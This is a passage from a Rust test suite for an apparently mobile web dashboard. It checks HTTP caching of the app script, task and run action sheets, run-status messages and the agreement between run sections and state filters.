14026 "the phone has to ask every time"
14027 );
14028
14029 let again = fx
14032 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14033 .await;
14034 assert_eq!(
14035 again.status, 304,
14036 "a deck it already has costs one round trip"
14037 );
14038 assert!(again.body.is_empty(), "304 carries no body");
14039
14040 let weak = fx
14043 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14044 .await;
14045 assert_eq!(weak.status, 304);
14046 let stale = fx
14047 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14048 .await;
14049 assert_eq!(stale.status, 200, "an older build must be replaced");
14050 assert!(stale.body.contains("renderRunActions"));
14051 }
14052
14053 #[test]
14054 fn the_task_detail_has_an_actions_fab_and_sheet() {
14055 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14056 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14057 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14058 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14060 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14061 assert!(APP_JS.contains("renderTaskActions(task);"));
14063 assert!(APP_JS.contains("renderTaskActions(null);"));
14064 let sheet = APP_JS
14066 .find("function renderTaskActions")
14067 .expect("sheet renderer");
14068 let body = &APP_JS[sheet..sheet + 3000];
14069 assert!(body.contains("changePriority("));
14070 assert!(body.contains("openTaskEdit(task)"));
14071 assert!(body.contains("renderTaskHoldBox(host"));
14072 assert!(body.contains("renderTaskDoneBox(host"));
14073 assert!(body.contains("renderTaskDeleteBox(host"));
14074 assert!(APP_JS.contains("API.priority(id)"));
14075 assert!(APP_JS.contains("API.deleteTask(id)"));
14076 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14078 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14080 }
14081
14082 #[test]
14083 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14084 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14085 let actions = INDEX_HTML
14086 .find("id=\"run-actions-box\"")
14087 .expect("actions box");
14088 assert!(task < actions, "the task entry comes first in the sheet");
14089 assert!(APP_JS.contains("renderRunTaskEntry"));
14090 assert!(APP_JS.contains("\"Open task \""));
14091 assert!(APP_JS.contains("started directly, no task"));
14093 assert!(APP_JS.contains("sheet-task-link"));
14094 assert!(APP_JS.contains("task-chip-link"));
14095 }
14096
14097 #[test]
14098 fn the_deck_never_sends_the_operator_to_a_terminal() {
14099 assert!(
14102 !APP_JS.contains("Run `magi fold` first"),
14103 "the deck must offer the fold, not prescribe a shell command"
14104 );
14105 assert!(APP_JS.contains("foldRun:"));
14106 assert!(APP_JS.contains("resumeRun:"));
14107 assert!(APP_JS.contains("renderRunActions"));
14108
14109 assert!(APP_JS.contains("armedFold"));
14111 assert!(APP_JS.contains("Yes, fold worktrees"));
14112
14113 assert!(APP_JS.contains("can no longer be resumed"));
14116 }
14117
14118 #[test]
14119 fn a_finished_run_explains_itself_with_its_own_last_line() {
14120 assert!(
14126 !APP_JS.contains("collapsed on agent quota"),
14127 "a stall must not be explained by a cause the deck did not check"
14128 );
14129 assert!(
14130 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14131 "and a block must not offer a guess with an `or` in it"
14132 );
14133
14134 assert!(
14138 APP_JS.contains("setText(r.event, run.event || \"\")"),
14139 "the run's last line is rendered unconditionally"
14140 );
14141 assert!(
14142 !APP_JS.contains("moving && run.event"),
14143 "and never gated on the run still moving"
14144 );
14145
14146 assert!(APP_JS.contains("lost to quota"));
14148 }
14149
14150 #[test]
14172 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14173 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14174 let shapes_body_start =
14175 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14176 let shapes_close = APP_JS[shapes_body_start..]
14177 .find("].map(")
14178 .expect("the shape list is closed by its done-computing .map(...)")
14179 + shapes_body_start;
14180 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14181
14182 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14183 for entry in shapes_src.split('{').skip(1) {
14184 let waiting = entry.contains("waiting: true");
14185 let dead = entry.contains("live: \"dead\"");
14186 let status_at =
14187 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14188 let status_end = entry[status_at..]
14189 .find('"')
14190 .expect("the status string is closed")
14191 + status_at;
14192 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14193 }
14194 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14195
14196 let done_rule_marker = "done: !";
14200 let done_rule_at = APP_JS[shapes_close..]
14201 .find(done_rule_marker)
14202 .expect("the done rule follows the shape list")
14203 + shapes_close
14204 + done_rule_marker.len();
14205 let includes_at = APP_JS[done_rule_at..]
14206 .find(".includes(shape.status)")
14207 .expect("the done rule ends in .includes(shape.status)")
14208 + done_rule_at;
14209 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14210 .trim()
14211 .trim_start_matches('[')
14212 .trim_end_matches(']')
14213 .split(',')
14214 .map(|s| s.trim().trim_matches('"'))
14215 .filter(|s| !s.is_empty())
14216 .collect();
14217
14218 let shapes: Vec<(bool, String, bool, bool)> = shapes
14219 .into_iter()
14220 .map(|(waiting, status, dead)| {
14221 let done = !not_done.contains(&status.as_str());
14222 (waiting, status, dead, done)
14223 })
14224 .collect();
14225
14226 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14230 if waiting {
14231 return "waiting";
14232 }
14233 if dead
14234 && !matches!(
14235 status,
14236 "merged"
14237 | "ready"
14238 | "stalled"
14239 | "blocked"
14240 | "failed"
14241 | "verified_noop"
14242 | "superseded"
14243 | "already_in_base"
14244 )
14245 {
14246 return "stale";
14247 }
14248 match status {
14249 "merged" | "ready" => "landed",
14250 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14251 | "already_in_base" => "ended",
14252 _ => "flight",
14253 }
14254 }
14255
14256 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14259 match filter_key {
14260 "active" => !done,
14261 "flight" => !done && !waiting && !dead,
14262 "stale" => !done && !waiting && dead,
14263 "waiting" => waiting,
14264 "done" => done,
14265 "all" => true,
14266 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14267 }
14268 }
14269
14270 let compatible = |section: &str, filter_key: &str| {
14271 shapes.iter().any(|(waiting, status, dead, done)| {
14272 run_section(*waiting, status, *dead) == section
14273 && filter_matches(filter_key, *waiting, *dead, *done)
14274 })
14275 };
14276
14277 let expected = [
14282 ("waiting", [true, false, false, true, true, true]),
14283 ("stale", [true, false, true, false, false, true]),
14284 ("flight", [true, true, false, false, false, true]),
14285 ("landed", [false, false, false, false, true, true]),
14286 ("ended", [false, false, false, false, true, true]),
14287 ];
14288 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14289
14290 for (section, wants) in expected {
14291 for (filter_key, want) in filter_keys.iter().zip(wants) {
14292 assert_eq!(
14293 compatible(section, filter_key),
14294 want,
14295 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14296 );
14297 }
14298 }
14299
14300 assert!(
14303 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14304 );
14305 assert!(APP_JS.contains(
14306 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14307 ));
14308 assert!(APP_JS.contains(
14309 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14310 ));
14311 }
14312
14313 #[tokio::test]
14314 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14315 let dir = tempfile::tempdir().expect("tempdir");
14319 let explicit = dir.path().join("not-a-checkout");
14320 std::fs::create_dir_all(&explicit).expect("create dir");
14321 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14322
14323 let missing = dir.path().join("does-not-exist-at-all");
14324 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14325 }
14326}